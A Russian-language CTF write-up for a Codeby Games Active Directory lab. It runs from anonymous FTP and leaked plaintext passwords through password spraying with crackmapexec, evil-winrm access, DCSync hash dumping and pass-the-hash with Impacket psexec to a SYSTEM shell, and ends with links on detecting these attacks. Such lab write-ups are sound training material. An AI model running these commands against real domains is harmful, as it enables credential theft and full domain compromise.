December 13, 2023

Codeby Games "Системный администратор" Active Directory WriteUp by artrone

Доброго дня, мои начинающие хацкеры! В последнее время, стало популярным ломать АД. Не знаю, с чем это связано, но да ладно. Сегодня разберем интересную руму, которая заставит немного подумать.

Разведка

Как обычно, всегда начинаем с разведки.

nmap -A 192.168.2.3

Сразу обращаем внимание на FTP с анонимным доступом. Опытным путем попробуем авторизоваться и проверить содержимое.

ftp [email protected]

Сразу заприметим учетки vlad.ivanov и ekaterina.smirnova, которые могут нам помочь в будущем.

Теперь необходимо найти что-то полезное. Находим в папке Иванова файлик "reminder.txt", в котором записан пароль

You_Shall_Not_Pass

Теперь, когда у нас есть учетка, попробуем сдампить данные с домена. Я буду использовать bloodhound (в частности, bloodhound-python для дампа). Предварительно, можно запросить TGT билет, если потребуется и заэкспортить его:

impacket-getTGT 'codeby.cdb/vlad.ivanov:You_Shall_Not_Pass' -dc-ip 192.168.2.3

export KRB5CCNAME=vlad.ivanov.ccache

С помощью этих действий, можно использовать авторизацию по билету, не используя пароля.

bloodhound-python -u "vlad.ivanov" -p "You_Shall_Not_Pass" -d codeby.cdb -c ALL -ns 192.168.2.3

Теперь идем в сам bloodhound.

neo4j start

bloodhound

Теперь загрузим наши сдампленные файлы

Перейдя во вкладку "Find Shortest Paths to Domain Admins", мы видим следующее:

Становится очевидно, что следующим нашим шагом будет получение учетки Алексея Ибрагимова, которая поможет нам получить админа и скомпрометировать домен, соответственно.

Но как нам быть, если у нас нет его пароля?

Пользовательский флаг

Давайте вернемся к FTP.

После просмотра папки Смироновой, находим файл "notes.txt", в котором говорится следующее:


Привет,
Я поменял пароль, но не помню точно на кого,
коллеги, проверьте пожалуйста - You_Shall_Not_Pass@@#
С наилучшими пожеланиями,
Тупой админ

Интересная ситуация, не правда ли? Если хорошенько подумать, то вспомним, что у нас осталось 2 учетки без пароля: aleksey.ibragimov и ekaterina.smirnova

Соответственно, мы можем сделать стандартный Password Spraying с паролем You_Shall_Not_Pass@@#.

Давайте так и поступим. Для этого создадим файлик с логинами:

# cat names.txt ekaterina.smirnova aleksey.ibragimov

Далее с помощью crackmapexec выполним спрэйинг

crackmapexec smb 192.168.2.3 -u names.txt -p 'You_Shall_Not_Pass@@#'

SMB 192.168.2.3 445 WOODEN [*] Windows Server 2012 R2 Standard 9600 x64 (name:WOODEN) (domain:codeby.cdb) (signing:True) (SMBv1:True) SMB 192.168.2.3 445 WOODEN [-] codeby.cdb\ekaterina.smirnova:You_Shall_Not_Pass@@# STATUS_LOGON_FAILURE SMB 192.168.2.3 445 WOODEN [+] codeby.cdb\aleksey.ibragimov:You_Shall_Not_Pass@@#

Видно, что пароль подошел для Алексея Ибрагимова. Отлично! Предлагаю подключиться по WinRM с помощью Evil-winrm

evil-winrm -u 'CODEBY\ALEKSEY.IBRAGIMOV' -p You_Shall_Not_Pass@@# -i 192.168.2.3

Пользовательский флаг получен.

Эскалация привелегий

Давайте вернемся в Bloodhound, чтобы еще раз посмотреть на права аккаунта Алексея и посмотреть пути эскалации.

Видим, что наш пользователь обладает правами для атаки "DCSync"

Подробнее о DCSync : https://habr.com/ru/companies/rvision/articles/709866/

Отлично, давайте так и поступим.

Необходимо сдампить хэши. Я буду использовать secretsdump из набора Impacket.

После успешного дампа, проведем атаку Pass-The-Hash, которая позволяет авторизоваться с помощью хэша по протоколу NTLM, избегая пароль.

Подробнее о Pass-The-Hash: https://hackware.ru/?p=11287

Для реализации атаки, использую psexec из того же набора Impacket

Как мы видим, мы получили шелл от имени системы. Забираем флаг.

Домен скомпрометирован!

Немножко полезной литературы по детекту атак

Возможные варианты детектирования DCSync: https://habr.com/ru/companies/rvision/articles/709942/

Детект Pass-The-Hash: http://www.oszone.net/14579/Pass-the-Hash